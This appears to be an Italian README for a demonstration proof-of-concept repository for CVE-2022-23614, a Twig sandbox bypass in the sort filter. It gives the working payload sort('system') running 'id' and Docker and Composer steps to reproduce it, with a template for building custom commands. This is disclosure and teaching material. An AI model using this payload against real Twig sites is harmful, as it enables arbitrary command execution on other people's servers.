
Prova di concetto per CVE-2022-23614 (iniezione di comandi in Twig)
Proof of concept (PoC) per CVE-2022-23614 menzionato in DSA-5107-1.
Twig è un motore di template per PHP flessibile, veloce e sicuro. In particolare, è possibile utilizzare i filtri in un template prima di renderizzarlo. Il filtro sort può essere utilizzato per ordinare gli elementi di un array con la seguente struttura:
{{ [5,8,2,3]|sort('desc') }}
Twig dispone di una modalità sandbox per valutare codice template non attendibile. Quando è in questa modalità sandbox, il parametro arrow del filtro sort deve essere una closure per evitare che gli aggressori possano eseguire funzioni PHP arbitrarie. Nelle versioni interessate, questo vincolo non era applicato correttamente e poteva portare all'iniezione di codice PHP arbitrario.
{{ ["id",""]|sort('system') }}
Questo PoC illustra la vulnerabilità in due diversi casi d'uso: utilizzando il pacchetto Debian php-twig (v2.14.1) oppure il modulo Composer twig/twig (v2.14).
Il file index.php costruisce un template Twig basandosi sul primo argomento. Nel codice seguente, argv[1] è il nome della funzione di ordinamento che verrà utilizzata da Twig durante il rendering.
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";
Quindi, index.php utilizzerà due funzioni deprecate di Twig per caricare il template generato. Infine, usa il secondo argomento (argv[2]) per passare dati al template durante il rendering, in particolare l'array args che vogliamo ordinare.
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);
Il template renderizzato viene poi stampato sull'output standard.
Si prega di notare che questo repository è stato creato solo a scopo dimostrativo. È pensato per essere semplice da capire e facile da usare per giocare con la CVE utilizzando solo un'interfaccia a riga di comando. È molto lontano da ciò che si può trovare su un server vulnerabile reale.
Usando Docker, possiamo ricreare il contesto dell'originale Debian Security Advisory (DSA). Puoi usare lo script build-docker.sh fornito per compilare ed eseguire correttamente il contenitore vulnerabile.
chmod a+x build-docker.sh
./build-docker.sh
Il contenitore dovrebbe spegnersi una volta eseguito il payload (un comando id). Se vuoi provare i tuoi comandi, puoi eseguire il contenitore in modalità interattiva:
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash
Una volta dentro il contenitore, puoi creare il tuo payload usando il seguente modello:
php index.php system '{"args":["id",""]}'
^ ^
sorting function array to sort
Questo dockerfile è stato parzialmente creato utilizzando DECRET.
Se hai già php e Composer installati sulla tua macchina, puoi replicare l'exploit utilizzando il modulo Composer vulnerabile.
cd exploit
composer install
Poi devi solo giocare con il payload.
php index.php system '{"args":["id",""]}'
Dettagli CVE: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
DSA: https://www.debian.org/security/2022/dsa-5107
Commit della patch: https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9
PoC by davwwwx (usando GUI): https://github.com/davwwwx/CVE-2022-23614